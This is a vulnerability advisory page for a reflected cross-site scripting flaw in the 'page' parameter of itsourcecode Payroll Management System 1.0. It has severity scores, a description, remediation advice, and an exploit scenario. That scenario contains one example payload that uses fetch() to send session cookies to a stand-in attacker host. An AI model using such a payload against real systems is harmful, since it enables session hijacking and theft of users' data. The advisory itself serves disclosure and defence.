EUVD-2026-16195Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A security flaw has been discovered in itsourcecode Payroll Management System up to 1.0. This affects an unknown function of the file /index.php. Performing a manipulation of the argument page results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.
AnalysisAI
Reflected cross-site scripting (XSS) in itsourcecode Payroll Management System version 1.0 allows remote unauthenticated attackers to inject malicious scripts via manipulation of the 'page' parameter in /index.php. The vulnerability has a CVSS v4.0 score of 5.3 with network accessibility and low integrity impact; publicly available exploit code exists, and CISA SSVC assessment confirms the flaw is exploitable and partially automatable, making it suitable for active compromise of application integrity and user sessions.
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Vulnerability AssessmentAI
| Risk Assessment | This vulnerability represents a moderate real-world risk despite the CVSS v4.0 score of 5.3. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a malicious URL containing JavaScript payload in the 'page' parameter (e.g., /index.php?page=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to a payroll system user via phishing email or social engineering. When the victim clicks the link and is already authenticated to the payroll application, the injected script executes in their browser with the privileges of their session, allowing the attacker to steal session tokens, redirect the user to a fake login page to harvest credentials, or modify payroll records. … |
| Remediation | Upgrade itsourcecode Payroll Management System to the latest patched version released by the vendor; patch availability and specific version numbers should be confirmed via https://itsourcecode.com/ and https://nvd.nist.gov/vuln/detail/CVE-2026-4877. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 30 days: Identify affected systems running itsourcecode Payroll Management System and apply vendor patches as part of regular patch cycle. …
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External POC / Exploit Code
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